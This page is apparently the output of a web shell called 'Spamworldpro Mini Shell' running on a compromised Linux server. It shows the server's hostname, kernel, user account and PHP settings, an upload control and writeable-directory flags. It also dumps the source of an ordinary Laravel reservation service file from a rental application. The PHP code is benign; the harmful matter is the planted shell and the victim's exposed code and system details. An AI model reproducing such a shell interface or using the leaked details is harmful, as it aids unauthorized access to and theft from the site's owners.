Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/rentpix.corals.io/Corals/modules/RentPix/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/rentpix.corals.io/Corals/modules/RentPix/Services/ReservationService.php
<?php

namespace Corals\Modules\RentPix\Services;

use Carbon\Carbon;
use Corals\Foundation\Services\BaseServiceClass;
use Corals\Modules\RentPix\Classes\Integration\RentalAPIService;
use Corals\Modules\RentPix\Models\Reservation;
use Corals\Modules\RentPix\Traits\InspectionsTrait;
use Corals\Modules\Utility\Models\Comment\Comment;
use Corals\Modules\Utility\Services\Comment\CommentService;
use Illuminate\Support\Arr;

class ReservationService extends BaseServiceClass
{
    use InspectionsTrait;

    public function reFetchReservation($reservation)
    {
        $rentalAPIService = new RentalAPIService();

        $data = $rentalAPIService->getReservationDetails($reservation->code, null, true);

        $reservationData = data_get($data, 'data', []);

        $validator = $this->validateReservationData($reservationData);

        if ($validator->fails()) {
            $string = '';
            foreach ($validator->getMessageBag()->toArray() as $key => $value) {
                $string .= "$key: " . implode(', ', $value) . '<br>';
            }

            throw new \Exception($string, 400);
        }

        $this->handleReservationNotes($reservation, $reservationData);

        $unit = $this->createOrUpdateUnit($reservationData);

        $properties = $reservation->properties;
        $properties['reFetch'] = $reservationData;

        $reservation->update([
            'type' => data_get($reservationData, 'type') ?: $reservation->type,
            'rental_status' => data_get($reservationData, 'rental_status') ?: $reservation->rental_status,
            'start_location' => data_get($reservationData, 'start_location') ?: $reservation->start_location,
            'end_location' => data_get($reservationData, 'end_location') ?: $reservation->end_location,
            'integration_id' => data_get($reservationData, 'id') ?: data_get($reservationData, 'code'),
            'starts_at' => data_get($reservationData, 'starts_at') ?: $reservation->starts_at,
            'ends_at' => data_get($reservationData, 'ends_at') ?: $reservation->ends_at,
            'unit_id' => $unit->id,
            'properties' => $properties,
        ]);

        return $reservation;
    }

    public function handleReservationNotes($reservation, $reservationData)
    {
        if (!empty(data_get($reservationData, 'notes'))) {
            $commentService = new CommentService();

            foreach (data_get($reservationData, 'notes') as $index => $note) {

                if (Comment::query()->whereRaw("commentable_id = ? And (json_extract(properties, '$.id')) = ?", [$reservation->id, $note['id']])->exists()) {
                    continue;
                }

                $note['properties'] = Arr::except($note, ['body']);

                try {
                    $note['created_at'] = Carbon::parse($note['timestamp']);
                } catch (\Exception $exception) {
                }

                $commentService->createComment($note, Reservation::class, $reservation->hashed_id);
            }
        }
    }
}

Spamworldpro Mini